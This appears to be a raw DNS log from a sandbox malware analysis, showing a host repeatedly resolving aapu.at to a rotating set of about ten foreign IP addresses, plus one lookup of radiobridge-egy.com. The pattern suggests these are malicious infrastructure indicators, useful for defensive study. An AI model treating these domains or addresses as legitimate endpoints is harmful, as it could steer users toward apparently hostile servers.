Mar 24, 2023 01:26:54.243165016 CET	8.8.8.8	192.168.2.4	0x9cfa	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.826572895 CET	8.8.8.8	192.168.2.4	0xb405	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.826572895 CET	8.8.8.8	192.168.2.4	0xb405	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.826572895 CET	8.8.8.8	192.168.2.4	0xb405	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.826572895 CET	8.8.8.8	192.168.2.4	0xb405	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.826572895 CET	8.8.8.8	192.168.2.4	0xb405	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.826572895 CET	8.8.8.8	192.168.2.4	0xb405	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.826572895 CET	8.8.8.8	192.168.2.4	0xb405	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.826572895 CET	8.8.8.8	192.168.2.4	0xb405	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.826572895 CET	8.8.8.8	192.168.2.4	0xb405	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.826572895 CET	8.8.8.8	192.168.2.4	0xb405	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:56.569081068 CET	8.8.8.8	192.168.2.4	0x7258	No error (0)	radiobridge-egy.com	95.111.233.125	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.538434029 CET	8.8.8.8	192.168.2.4	0x5da7	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.538434029 CET	8.8.8.8	192.168.2.4	0x5da7	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.538434029 CET	8.8.8.8	192.168.2.4	0x5da7	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.538434029 CET	8.8.8.8	192.168.2.4	0x5da7	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.538434029 CET	8.8.8.8	192.168.2.4	0x5da7	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.538434029 CET	8.8.8.8	192.168.2.4	0x5da7	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.538434029 CET	8.8.8.8	192.168.2.4	0x5da7	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.538434029 CET	8.8.8.8	192.168.2.4	0x5da7	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.538434029 CET	8.8.8.8	192.168.2.4	0x5da7	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.538434029 CET	8.8.8.8	192.168.2.4	0x5da7	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.864507914 CET	8.8.8.8	192.168.2.4	0x49cf	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.864507914 CET	8.8.8.8	192.168.2.4	0x49cf	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.864507914 CET	8.8.8.8	192.168.2.4	0x49cf	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.864507914 CET	8.8.8.8	192.168.2.4	0x49cf	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.864507914 CET	8.8.8.8	192.168.2.4	0x49cf	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.864507914 CET	8.8.8.8	192.168.2.4	0x49cf	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.864507914 CET	8.8.8.8	192.168.2.4	0x49cf	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.864507914 CET	8.8.8.8	192.168.2.4	0x49cf	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.864507914 CET	8.8.8.8	192.168.2.4	0x49cf	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.864507914 CET	8.8.8.8	192.168.2.4	0x49cf	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.145114899 CET	8.8.8.8	192.168.2.4	0xef9c	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.145114899 CET	8.8.8.8	192.168.2.4	0xef9c	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.145114899 CET	8.8.8.8	192.168.2.4	0xef9c	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.145114899 CET	8.8.8.8	192.168.2.4	0xef9c	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.145114899 CET	8.8.8.8	192.168.2.4	0xef9c	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.145114899 CET	8.8.8.8	192.168.2.4	0xef9c	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.145114899 CET	8.8.8.8	192.168.2.4	0xef9c	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.145114899 CET	8.8.8.8	192.168.2.4	0xef9c	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.145114899 CET	8.8.8.8	192.168.2.4	0xef9c	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.145114899 CET	8.8.8.8	192.168.2.4	0xef9c	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.436327934 CET	8.8.8.8	192.168.2.4	0xe466	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.436327934 CET	8.8.8.8	192.168.2.4	0xe466	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.436327934 CET	8.8.8.8	192.168.2.4	0xe466	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.436327934 CET	8.8.8.8	192.168.2.4	0xe466	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.436327934 CET	8.8.8.8	192.168.2.4	0xe466	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.436327934 CET	8.8.8.8	192.168.2.4	0xe466	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.436327934 CET	8.8.8.8	192.168.2.4	0xe466	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.436327934 CET	8.8.8.8	192.168.2.4	0xe466	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.436327934 CET	8.8.8.8	192.168.2.4	0xe466	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.436327934 CET	8.8.8.8	192.168.2.4	0xe466	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.771507978 CET	8.8.8.8	192.168.2.4	0x5c1d	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.771507978 CET	8.8.8.8	192.168.2.4	0x5c1d	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.771507978 CET	8.8.8.8	192.168.2.4	0x5c1d	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.771507978 CET	8.8.8.8	192.168.2.4	0x5c1d	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.771507978 CET	8.8.8.8	192.168.2.4	0x5c1d	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.771507978 CET	8.8.8.8	192.168.2.4	0x5c1d	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.771507978 CET	8.8.8.8	192.168.2.4	0x5c1d	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.771507978 CET	8.8.8.8	192.168.2.4	0x5c1d	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.771507978 CET	8.8.8.8	192.168.2.4	0x5c1d	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.771507978 CET	8.8.8.8	192.168.2.4	0x5c1d	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.089163065 CET	8.8.8.8	192.168.2.4	0xe818	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.089163065 CET	8.8.8.8	192.168.2.4	0xe818	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.089163065 CET	8.8.8.8	192.168.2.4	0xe818	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.089163065 CET	8.8.8.8	192.168.2.4	0xe818	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.089163065 CET	8.8.8.8	192.168.2.4	0xe818	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.089163065 CET	8.8.8.8	192.168.2.4	0xe818	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.089163065 CET	8.8.8.8	192.168.2.4	0xe818	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.089163065 CET	8.8.8.8	192.168.2.4	0xe818	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.089163065 CET	8.8.8.8	192.168.2.4	0xe818	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.089163065 CET	8.8.8.8	192.168.2.4	0xe818	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.341818094 CET	8.8.8.8	192.168.2.4	0xa815	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.341818094 CET	8.8.8.8	192.168.2.4	0xa815	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.341818094 CET	8.8.8.8	192.168.2.4	0xa815	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.341818094 CET	8.8.8.8	192.168.2.4	0xa815	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.341818094 CET	8.8.8.8	192.168.2.4	0xa815	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.341818094 CET	8.8.8.8	192.168.2.4	0xa815	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.341818094 CET	8.8.8.8	192.168.2.4	0xa815	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.341818094 CET	8.8.8.8	192.168.2.4	0xa815	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.341818094 CET	8.8.8.8	192.168.2.4	0xa815	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.341818094 CET	8.8.8.8	192.168.2.4	0xa815	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:00.656327963 CET	8.8.8.8	192.168.2.4	0x6f9e	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:00.656327963 CET	8.8.8.8	192.168.2.4	0x6f9e	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:00.656327963 CET	8.8.8.8	192.168.2.4	0x6f9e	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:00.656327963 CET	8.8.8.8	192.168.2.4	0x6f9e	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:00.656327963 CET	8.8.8.8	192.168.2.4	0x6f9e	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:00.656327963 CET	8.8.8.8	192.168.2.4	0x6f9e	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:00.656327963 CET	8.8.8.8	192.168.2.4	0x6f9e	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:00.656327963 CET	8.8.8.8	192.168.2.4	0x6f9e	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:00.656327963 CET	8.8.8.8	192.168.2.4	0x6f9e	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:00.656327963 CET	8.8.8.8	192.168.2.4	0x6f9e	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.040975094 CET	8.8.8.8	192.168.2.4	0x213c	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.040975094 CET	8.8.8.8	192.168.2.4	0x213c	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.040975094 CET	8.8.8.8	192.168.2.4	0x213c	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.040975094 CET	8.8.8.8	192.168.2.4	0x213c	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.040975094 CET	8.8.8.8	192.168.2.4	0x213c	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.040975094 CET	8.8.8.8	192.168.2.4	0x213c	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.040975094 CET	8.8.8.8	192.168.2.4	0x213c	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.040975094 CET	8.8.8.8	192.168.2.4	0x213c	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.040975094 CET	8.8.8.8	192.168.2.4	0x213c	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.040975094 CET	8.8.8.8	192.168.2.4	0x213c	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.365406036 CET	8.8.8.8	192.168.2.4	0x4022	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.365406036 CET	8.8.8.8	192.168.2.4	0x4022	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.365406036 CET	8.8.8.8	192.168.2.4	0x4022	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.365406036 CET	8.8.8.8	192.168.2.4	0x4022	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.365406036 CET	8.8.8.8	192.168.2.4	0x4022	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.365406036 CET	8.8.8.8	192.168.2.4	0x4022	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.365406036 CET	8.8.8.8	192.168.2.4	0x4022	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.365406036 CET	8.8.8.8	192.168.2.4	0x4022	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.365406036 CET	8.8.8.8	192.168.2.4	0x4022	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.365406036 CET	8.8.8.8	192.168.2.4	0x4022	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:02.816349030 CET	8.8.8.8	192.168.2.4	0x7419	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:02.816349030 CET	8.8.8.8	192.168.2.4	0x7419	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:02.816349030 CET	8.8.8.8	192.168.2.4	0x7419	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:02.816349030 CET	8.8.8.8	192.168.2.4	0x7419	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:02.816349030 CET	8.8.8.8	192.168.2.4	0x7419	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:02.816349030 CET	8.8.8.8	192.168.2.4	0x7419	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:02.816349030 CET	8.8.8.8	192.168.2.4	0x7419	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:02.816349030 CET	8.8.8.8	192.168.2.4	0x7419	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:02.816349030 CET	8.8.8.8	192.168.2.4	0x7419	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:02.816349030 CET	8.8.8.8	192.168.2.4	0x7419	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.603105068 CET	8.8.8.8	192.168.2.4	0x70c7	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.603105068 CET	8.8.8.8	192.168.2.4	0x70c7	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.603105068 CET	8.8.8.8	192.168.2.4	0x70c7	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.603105068 CET	8.8.8.8	192.168.2.4	0x70c7	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.603105068 CET	8.8.8.8	192.168.2.4	0x70c7	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.603105068 CET	8.8.8.8	192.168.2.4	0x70c7	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.603105068 CET	8.8.8.8	192.168.2.4	0x70c7	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.603105068 CET	8.8.8.8	192.168.2.4	0x70c7	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.603105068 CET	8.8.8.8	192.168.2.4	0x70c7	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.603105068 CET	8.8.8.8	192.168.2.4	0x70c7	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.901180983 CET	8.8.8.8	192.168.2.4	0x48d	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.901180983 CET	8.8.8.8	192.168.2.4	0x48d	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.901180983 CET	8.8.8.8	192.168.2.4	0x48d	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.901180983 CET	8.8.8.8	192.168.2.4	0x48d	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.901180983 CET	8.8.8.8	192.168.2.4	0x48d	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.901180983 CET	8.8.8.8	192.168.2.4	0x48d	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.901180983 CET	8.8.8.8	192.168.2.4	0x48d	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.901180983 CET	8.8.8.8	192.168.2.4	0x48d	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.901180983 CET	8.8.8.8	192.168.2.4	0x48d	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.901180983 CET	8.8.8.8	192.168.2.4	0x48d	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:05.463255882 CET	8.8.8.8	192.168.2.4	0x3f2a	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:05.463255882 CET	8.8.8.8	192.168.2.4	0x3f2a	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:05.463255882 CET	8.8.8.8	192.168.2.4	0x3f2a	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:05.463255882 CET	8.8.8.8	192.168.2.4	0x3f2a	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:05.463255882 CET	8.8.8.8	192.168.2.4	0x3f2a	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:05.463255882 CET	8.8.8.8	192.168.2.4	0x3f2a	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:05.463255882 CET	8.8.8.8	192.168.2.4	0x3f2a	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:05.463255882 CET	8.8.8.8	192.168.2.4	0x3f2a	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:05.463255882 CET	8.8.8.8	192.168.2.4	0x3f2a	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:05.463255882 CET	8.8.8.8	192.168.2.4	0x3f2a	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.116672039 CET	8.8.8.8	192.168.2.4	0x2ef	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.116672039 CET	8.8.8.8	192.168.2.4	0x2ef	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.116672039 CET	8.8.8.8	192.168.2.4	0x2ef	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.116672039 CET	8.8.8.8	192.168.2.4	0x2ef	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.116672039 CET	8.8.8.8	192.168.2.4	0x2ef	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.116672039 CET	8.8.8.8	192.168.2.4	0x2ef	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.116672039 CET	8.8.8.8	192.168.2.4	0x2ef	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.116672039 CET	8.8.8.8	192.168.2.4	0x2ef	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.116672039 CET	8.8.8.8	192.168.2.4	0x2ef	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.116672039 CET	8.8.8.8	192.168.2.4	0x2ef	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.441150904 CET	8.8.8.8	192.168.2.4	0x7a0a	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.441150904 CET	8.8.8.8	192.168.2.4	0x7a0a	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.441150904 CET	8.8.8.8	192.168.2.4	0x7a0a	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.441150904 CET	8.8.8.8	192.168.2.4	0x7a0a	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.441150904 CET	8.8.8.8	192.168.2.4	0x7a0a	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.441150904 CET	8.8.8.8	192.168.2.4	0x7a0a	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.441150904 CET	8.8.8.8	192.168.2.4	0x7a0a	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.441150904 CET	8.8.8.8	192.168.2.4	0x7a0a	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.441150904 CET	8.8.8.8	192.168.2.4	0x7a0a	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.441150904 CET	8.8.8.8	192.168.2.4	0x7a0a	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.751117945 CET	8.8.8.8	192.168.2.4	0xcfb9	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.751117945 CET	8.8.8.8	192.168.2.4	0xcfb9	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.751117945 CET	8.8.8.8	192.168.2.4	0xcfb9	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.751117945 CET	8.8.8.8	192.168.2.4	0xcfb9	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.751117945 CET	8.8.8.8	192.168.2.4	0xcfb9	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.751117945 CET	8.8.8.8	192.168.2.4	0xcfb9	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.751117945 CET	8.8.8.8	192.168.2.4	0xcfb9	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.751117945 CET	8.8.8.8	192.168.2.4	0xcfb9	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.751117945 CET	8.8.8.8	192.168.2.4	0xcfb9	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
